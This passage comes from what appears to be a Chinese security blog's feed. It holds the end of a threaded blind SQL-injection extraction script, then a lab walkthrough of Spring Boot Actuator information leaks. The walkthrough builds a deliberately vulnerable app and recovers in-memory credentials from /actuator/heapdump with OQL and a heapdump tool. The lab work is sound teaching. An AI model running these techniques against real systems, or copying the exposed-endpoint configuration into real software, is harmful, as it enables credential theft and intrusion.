</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threshold</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                with</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lock</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            pass</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> chars</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Thread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test_char</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        threads</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">append</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> len</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result</span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">请求结束</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        break</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/72.png\" class=\"\"></p>\n<h1 id=\"后记\"><a class=\"anchor\" href=\"#后记\">#</a> 后记</h1>\n<p>当然，学完这些SQL注入之后其实可以发现注入的payload可以不止上面所写的一种形式，比如MSSQL的各种限制查询什么表的语句，但理解了通过什么元数据去查询什么字段之后应该能会一些举一反三的，关键还是得记住有哪些元数据存储了哪些字段名......orz</p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/",
            "url": "https://zlaryy.top/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/",
            "title": "常规外网打点",
            "date_published": "2026-05-19T13:00:00.000Z",
            "content_html": "<h1 id=\"常规外网打点持续更新中\"><a class=\"anchor\" href=\"#常规外网打点持续更新中\">#</a> 常规外网打点（持续更新中......）</h1>\n<h1 id=\"spring-boot\"><a class=\"anchor\" href=\"#spring-boot\">#</a> spring-boot</h1>\n<h2 id=\"actuator泄露\"><a class=\"anchor\" href=\"#actuator泄露\">#</a> actuator泄露</h2>\n<p>参考：<a href=\"https://www.freebuf.com/vuls/407651.html\">可造成敏感信息泄露！Spring Boot Actuator信息泄露漏洞三种利用方式总结 - FreeBuf网络安全行业门户</a></p>\n<p><a href=\"https://blog.csdn.net/JHIII/article/details/126601858\">Springboot之Actuator信息泄露漏洞利用_spring actuator 漏洞-CSDN博客</a></p>\n<p>actuator是帮助管理和监控<code>Spring-Boot</code>应用的模块，这个模块采集应用的内部信息，展现给外部模块，可以查看应用配置的详细信息，例如自动化配置信息、创建的<code>Spring beans</code>信息、系统环境变量的配置信息以及web请求的详细信息等。</p>\n<p>如果没有正确使用Actuator，可能造成信息泄露等严重的安全隐患（外部人员非授权访问Actuator），其中heapdump作为Actuator组件最为危险的web端点，heapdump因未授权访问被恶意人员获取后进行分析，可进一步获取敏感信息</p>\n<h3 id=\"1x版本\"><a class=\"anchor\" href=\"#1x版本\">#</a> 1.x版本</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/configprops #显示所有@ConfigurationProperties</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/env #公开Spring的ConfigurableEnvironment</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/health #显示应用程序运行状况信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/httptrace #显示HTTP跟踪信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/metrics #显示当前应用程序的监控指标信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/mappings #显示所有@RequestMapping路径的整理列表</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/threaddump #线程转储</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/heapdump #堆转储</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法</span></span></code></pre>\n<h3 id=\"2x版本\"><a class=\"anchor\" href=\"#2x版本\">#</a> 2.x版本</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/actuator #查看有哪些Actuator端点是开放的</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/auditevent #auditevents端点提供有关应用程序审计事件的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/beans #beans端点提供有关应用程序bean的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/configprops #configprops端点提供有关应用程序@ConfigurationProperties的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/env #查看全部环境属性，可以看到Spring-boot载入哪些properties，以及properties的值（会自动用*替换key、password、secret等关键字的properties的值）</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/flyway #flyway端点提供有关Flyway执行的数据库迁移的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/health #显示应用程序运行状况信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/httptrace #提供有关http请求-响应交换的信息（包括用户HTTP请求的Cookie数据，会造成Cookie泄露等）</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/info #info端点提供有关应用程序的一般信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/integrationgraph #integrationgraph端点公开了一个包含所有Spring Integrationgraph组件的图</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/liquibase #liquibase端点提供有关Liquibase应用的数据库更改集的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/logfile #logfile端点提供对应用程序日志文件内容的访问</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/loggers #loggers端点提供对应用程序记录器及其级别配置的访问</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/mappings #mappings端点提供有关应用程序请求映射的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/metrics #metrics端点提供对应用程序指标的访问</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/heapdump #heapdump端点提供来自应用程序JVM的堆转储（通过分析查看/env端点被*替换到数据的具体值）</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/threaddump #线程转储</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/prometheus #端点以prometheusPrometheus服务器抓取所需的格式提供Spring-boot应用程序的指标</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/quartz #quartz端点提供有关由Quartz调整程序管理的作业和触发器的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/scheduledtasks #scheduledtasks端点提供有关应用程序计划执行任务的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/sessions #sessions端点提供有关由Spring session管理的应用程序HTTP会话的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/startup #startup端点提供有关应用程序启动顺序的信息</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>/actuator/shutdown #shutdown端点用于关闭应用程序</span></span></code></pre>\n<p>接下来就是要利用heapdump去解决密码是<code>*</code>的问题，尝试了一下在本地搭建带有spring-boot的actuator信息泄露的靶场：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>这里用的是kaliLinux</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 更新软件源并安装 OpenJDK 11 和 Maven</span></span>\n<span class=\"line\"><span>sudo apt update</span></span>\n<span class=\"line\"><span>sudo apt install default-jdk maven -y</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 验证安装是否成功（确保有版本信息输出）</span></span>\n<span class=\"line\"><span>java -version</span></span>\n<span class=\"line\"><span>mvn -version</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>#创建并就进入项目文件夹</span></span>\n<span class=\"line\"><span>mkdir ~/actuator-lab &#x26;&#x26; cd ~/actuator-lab</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>#写入Maven配置文件（pom.xml）</span></span>\n<span class=\"line\"><span>cat &#x3C;&#x3C; 'EOF' > pom.xml</span></span>\n<span class=\"line\"><span>&#x3C;?xml version=\"1.0\" encoding=\"UTF-8\"?></span></span>\n<span class=\"line\"><span>&#x3C;project xmlns=\"http://maven.apache.org/POM/4.0.0\"</span></span>\n<span class=\"line\"><span>         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"</span></span>\n<span class=\"line\"><span>         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"></span></span>\n<span class=\"line\"><span>    &#x3C;modelVersion>4.0.0&#x3C;/modelVersion></span></span>\n<span class=\"line\"><span>    &#x3C;groupId>com.lab&#x3C;/groupId></span></span>\n<span class=\"line\"><span>    &#x3C;artifactId>actuator-lab&#x3C;/artifactId></span></span>\n<span class=\"line\"><span>    &#x3C;version>1.0&#x3C;/version></span></span>\n<span class=\"line\"><span>    &#x3C;parent></span></span>\n<span class=\"line\"><span>        &#x3C;groupId>org.springframework.boot&#x3C;/groupId></span></span>\n<span class=\"line\"><span>        &#x3C;artifactId>spring-boot-starter-parent&#x3C;/artifactId></span></span>\n<span class=\"line\"><span>        &#x3C;version>2.7.5&#x3C;/version></span></span>\n<span class=\"line\"><span>    &#x3C;/parent></span></span>\n<span class=\"line\"><span>    &#x3C;dependencies></span></span>\n<span class=\"line\"><span>        &#x3C;dependency></span></span>\n<span class=\"line\"><span>            &#x3C;groupId>org.springframework.boot&#x3C;/groupId></span></span>\n<span class=\"line\"><span>            &#x3C;artifactId>spring-boot-starter-web&#x3C;/artifactId></span></span>\n<span class=\"line\"><span>        &#x3C;/dependency></span></span>\n<span class=\"line\"><span>        &#x3C;dependency></span></span>\n<span class=\"line\"><span>            &#x3C;groupId>org.springframework.boot&#x3C;/groupId></span></span>\n<span class=\"line\"><span>            &#x3C;artifactId>spring-boot-starter-actuator&#x3C;/artifactId></span></span>\n<span class=\"line\"><span>        &#x3C;/dependency></span></span>\n<span class=\"line\"><span>    &#x3C;/dependencies></span></span>\n<span class=\"line\"><span>    &#x3C;build></span></span>\n<span class=\"line\"><span>        &#x3C;plugins></span></span>\n<span class=\"line\"><span>            &#x3C;plugin></span></span>\n<span class=\"line\"><span>                &#x3C;groupId>org.springframework.boot&#x3C;/groupId></span></span>\n<span class=\"line\"><span>                &#x3C;artifactId>spring-boot-maven-plugin&#x3C;/artifactId></span></span>\n<span class=\"line\"><span>            &#x3C;/plugin></span></span>\n<span class=\"line\"><span>        &#x3C;/plugins></span></span>\n<span class=\"line\"><span>    &#x3C;/build></span></span>\n<span class=\"line\"><span>&#x3C;/project></span></span>\n<span class=\"line\"><span>EOF</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>#创建目录并写入配置文件（包含敏感信息）</span></span>\n<span class=\"line\"><span>mkdir -p src/main/resources</span></span>\n<span class=\"line\"><span>cat &#x3C;&#x3C; 'EOF' > src/main/resources/application.properties</span></span>\n<span class=\"line\"><span># 危险配置：暴露所有 actuator 接口</span></span>\n<span class=\"line\"><span>management.endpoints.web.exposure.include=*</span></span>\n<span class=\"line\"><span># 模拟敏感配置信息</span></span>\n<span class=\"line\"><span>cloud.aws.credentials.access-key=AKIAIOSFODNN7EXAMPLE</span></span>\n<span class=\"line\"><span>cloud.aws.credentials.secret-key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY</span></span>\n<span class=\"line\"><span>EOF</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>#创建目录并写入Java漏洞代码</span></span>\n<span class=\"line\"><span>mkdir -p src/main/java/com/lab</span></span>\n<span class=\"line\"><span>cat &#x3C;&#x3C; 'EOF' > src/main/java/com/lab/ActuatorDemoApplication.java</span></span>\n<span class=\"line\"><span>package com.lab;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>import org.springframework.boot.SpringApplication;</span></span>\n<span class=\"line\"><span>import org.springframework.boot.autoconfigure.SpringBootApplication;</span></span>\n<span class=\"line\"><span>import org.springframework.web.bind.annotation.GetMapping;</span></span>\n<span class=\"line\"><span>import org.springframework.web.bind.annotation.RestController;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>@SpringBootApplication</span></span>\n<span class=\"line\"><span>@RestController</span></span>\n<span class=\"line\"><span>public class ActuatorDemoApplication &#123;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    // 模拟内存中驻留的敏感变量</span></span>\n<span class=\"line\"><span>    private String userSessionToken = \"\";</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    public static void main(String[] args) &#123;</span></span>\n<span class=\"line\"><span>        SpringApplication.run(ActuatorDemoApplication.class, args);</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    @GetMapping(\"/login\")</span></span>\n<span class=\"line\"><span>    public String login(String password) &#123;</span></span>\n<span class=\"line\"><span>        // 将用户的密码拼接后长期保留在内存中</span></span>\n<span class=\"line\"><span>        this.userSessionToken = \"Token_Auth_\" + password;</span></span>\n<span class=\"line\"><span>        return \"Login Success! Password saved in memory.\";</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span>&#125;</span></span>\n<span class=\"line\"><span>EOF</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>#在~/actuator-lab目录下运行命令启动spring boot</span></span>\n<span class=\"line\"><span>mvn spring-boot:run</span></span>\n<span class=\"line\"><span>当终端出现类似 Started ActuatorDemoApplication in x.xx seconds 的字样时，说明靶场启动成功</span></span></code></pre>\n<p>搭建好之后可以通过IP下的8080端口访问</p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/1.png\" class=\"\"></p>\n<p>我们需要知道这个值，可以有几种利用方法</p>\n<h4 id=\"heapdump\"><a class=\"anchor\" href=\"#heapdump\">#</a> heapdump</h4>\n<p>首先模拟一个登录状态，之后我们尝试信息泄露的手法去访问<code>/actuator/env</code>和<code>/actuator/heapdump</code></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/2.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/3.png\" class=\"\"></p>\n<p>访问<code>/actuator/heapdump</code>的话可以看到直接下载下来了一个文件，分析这个文件可以使用<code>jvisualvm.exe</code>这个JDK自带的工具，路径为<code>JDK\\bin\\jvisualvm.exe</code></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/4.png\" class=\"\"></p>\n<p>文件类型选择堆之后选择刚刚下载的heapdump，装入文件之后就是输入OQL语句过滤我们需要的信息</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>OQL是一种类似SQL的查询语言，用于查询Java堆，OQL允许从Java堆中过滤/选择所需的信息。虽然HAT已经支持诸如“显示X类的所有实例”之类的预定义查询，但OQL增加了更多的灵活性。OQL基于JavaScript表达式语言。</span></span></code></pre>\n<p>在Spring boot2.X版本中，env信息存储在java.util.LinkedHashMap$Entry类中</p>\n<p>查询数据库密码需要在OQL控制台执行如下OQL语句：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>select s from java.util.LinkedHashMap$Entry s where /spring.datadsource.password/.test(s.key)</span></span></code></pre>\n<p>不过我这里一直显示查询返回结果为空呢？</p>\n<p>另一种方法就是先进入<code>类标签页</code>，在底部过滤器中搜索<code>ActuatorDemoApplication</code></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/5.png\" class=\"\"></p>\n<p>双击显示的有实例的类</p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/6.png\" class=\"\"></p>\n<p>找到这个<code>userSessionToken</code>，打开之后我们可以看到存在一个value：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>84111107101110956511711610495907665828989</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/7.png\" class=\"\"></p>\n<p>用逗号隔开的数字每一组对应一个字符的ASCII码：<code>Token_Auth_ZLARYY</code></p>\n<p>也可以试试使用<a href=\"https://link.zhihu.com/?target=https%3A//github.com/wyzxxz/heapdump_tool\">https://github.com/wyzxxz/heapdump_tool</a></p>\n<p><img loading=\"lazy\" src=\"/2026/05/19/%E5%B8%B8%E8%A7%84%E5%A4%96%E7%BD%91%E6%89%93%E7%82%B9/8.png\" class=\"\"></p>\n<p>查询密码可以<code>&gt; password</code>，获取ip<code>&gt; getip</code>，获取url<code>&gt; geturl</code>，获取文件路径<code>&gt; getfile</code></p>\n<h4 id=\"jolokia\"><a class=\"anchor\" href=\"#jolokia\">#</a> jolokia</h4>\n<p>要利用这个方法的话需要目标网站存在<code>/jolokia</code>、<code>/actuator/jolokia</code>，使用了<code>jolokia-core</code>依赖，默认情况下actuator是没有jolokia接口的，所以需要再添加如下依赖：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;dependency></span></span>\n<span class=\"line\"><span>    &#x3C;groupId>org.jolokia&#x3C;/groupId> </span></span>\n<span class=\"line\"><span>    &#x3C;artifactId>jolokia-core&#x3C;/artifactId> </span></span>\n<span class=\"line\"><span>&#x3C;version>1.7.0&#x3C;/version> </span></span>\n<span 